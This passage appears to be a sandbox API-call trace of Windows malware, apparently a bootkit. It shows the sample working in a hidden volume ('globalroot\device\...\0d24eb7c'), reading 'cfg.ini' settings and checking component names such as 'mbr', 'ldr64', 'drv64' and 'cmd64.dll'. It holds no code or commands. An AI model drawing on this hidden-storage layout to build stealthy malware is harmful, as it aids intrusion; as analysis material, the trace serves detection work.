Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.977] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.977] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.977] IdePortDispatch () returned 0x103 [0125.977] KeWaitForMutexObject () returned 0x0 [0125.977] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.978] KeLeaveCriticalRegion () [0125.978] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.978] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.978] KeEnterCriticalRegion () [0125.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.978] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d7f000 [0125.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.978] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.978] IdePortDispatch () returned 0x103 [0125.978] KeWaitForMutexObject () returned 0x0 [0125.978] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.978] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.978] IdePortDispatch () returned 0x103 [0125.978] KeWaitForMutexObject () returned 0x0 [0125.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.978] KeLeaveCriticalRegion () [0125.978] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.979] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.979] KeEnterCriticalRegion () [0125.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.979] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.979] KeLeaveCriticalRegion () [0125.979] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.979] KeEnterCriticalRegion () [0125.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.979] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.979] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac6830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.979] KeLeaveCriticalRegion () [0125.979] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.979] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.979] KeEnterCriticalRegion () [0125.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.979] ExFreePoolWithTag (P=0xfffffa8003ac8e10, Tag=0x0) [0125.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.979] KeLeaveCriticalRegion () [0125.979] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.979] ReleaseMutex (hMutex=0xf0) returned 1 [0125.979] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.979] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.979] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.979] KeEnterCriticalRegion () [0125.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.979] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.979] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.979] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.979] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.979] IdePortDispatch () returned 0x103 [0125.980] KeWaitForMutexObject () returned 0x0 [0125.980] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.980] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.980] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.980] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.980] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.980] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9830 [0125.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.980] KeLeaveCriticalRegion () [0125.980] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.980] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.980] KeEnterCriticalRegion () [0125.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.980] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.980] KeLeaveCriticalRegion () [0125.980] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.980] KeEnterCriticalRegion () [0125.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.980] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.980] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.980] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.980] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.980] IdePortDispatch () returned 0x103 [0125.980] KeWaitForMutexObject () returned 0x0 [0125.980] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.980] KeLeaveCriticalRegion () [0125.980] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.981] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.981] KeEnterCriticalRegion () [0125.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.981] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d80000 [0125.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.981] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.981] IdePortDispatch () returned 0x103 [0125.981] KeWaitForMutexObject () returned 0x0 [0125.981] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.981] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.981] IdePortDispatch () returned 0x103 [0125.981] KeWaitForMutexObject () returned 0x0 [0125.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.981] KeLeaveCriticalRegion () [0125.981] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.982] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.982] KeEnterCriticalRegion () [0125.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.982] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.982] KeLeaveCriticalRegion () [0125.982] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.982] KeEnterCriticalRegion () [0125.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.982] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.982] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.982] KeLeaveCriticalRegion () [0125.982] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.982] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.982] KeEnterCriticalRegion () [0125.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.982] ExFreePoolWithTag (P=0xfffffa8003bf9830, Tag=0x0) [0125.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.982] KeLeaveCriticalRegion () [0125.982] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.982] ReleaseMutex (hMutex=0xf0) returned 1 [0125.982] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.982] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.982] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.982] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.982] KeEnterCriticalRegion () [0125.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.982] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.982] IdePortDispatch () returned 0x103 [0125.982] KeWaitForMutexObject () returned 0x0 [0125.983] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.983] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.983] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.983] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.983] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.983] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.983] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.983] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.983] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.983] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.983] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.983] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.983] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.983] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.983] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.983] KeLeaveCriticalRegion () [0125.983] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.983] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.983] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.983] KeEnterCriticalRegion () [0125.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.983] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.983] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.983] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.983] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.983] IdePortDispatch () returned 0x103 [0125.983] KeWaitForMutexObject () returned 0x0 [0125.983] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.983] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.983] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.983] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.983] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.983] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.983] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.983] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.983] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.983] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.983] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.984] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.984] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.984] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.984] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.984] KeLeaveCriticalRegion () [0125.984] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.984] ReleaseMutex (hMutex=0x100) returned 1 [0125.984] Sleep (dwMilliseconds=0x2bf20) [0125.990] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e49f850, dwHighDateTime=0x1d24fa4)) [0125.990] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.990] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.990] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.991] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.991] KeEnterCriticalRegion () [0125.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.991] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.991] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.991] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.991] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.991] IdePortDispatch () returned 0x103 [0125.991] KeWaitForMutexObject () returned 0x0 [0125.991] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.991] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.991] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.991] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.991] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.991] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9230 [0125.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.991] KeLeaveCriticalRegion () [0125.991] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.991] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.991] KeEnterCriticalRegion () [0125.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.991] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.991] KeLeaveCriticalRegion () [0125.991] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.991] KeEnterCriticalRegion () [0125.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.991] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.991] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.991] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.991] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.991] IdePortDispatch () returned 0x103 [0125.991] KeWaitForMutexObject () returned 0x0 [0125.992] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.992] KeLeaveCriticalRegion () [0125.992] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.992] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.992] KeEnterCriticalRegion () [0125.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.992] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d83000 [0125.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.992] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.992] IdePortDispatch () returned 0x103 [0125.992] KeWaitForMutexObject () returned 0x0 [0125.992] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.992] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.992] IdePortDispatch () returned 0x103 [0125.992] KeWaitForMutexObject () returned 0x0 [0125.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.992] KeLeaveCriticalRegion () [0125.992] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.993] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.993] KeEnterCriticalRegion () [0125.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.993] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.993] KeLeaveCriticalRegion () [0125.993] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.993] KeEnterCriticalRegion () [0125.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.993] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.993] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.993] KeLeaveCriticalRegion () [0125.993] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.993] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.993] KeEnterCriticalRegion () [0125.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.993] ExFreePoolWithTag (P=0xfffffa8003bf9230, Tag=0x0) [0125.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.993] KeLeaveCriticalRegion () [0125.993] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.993] 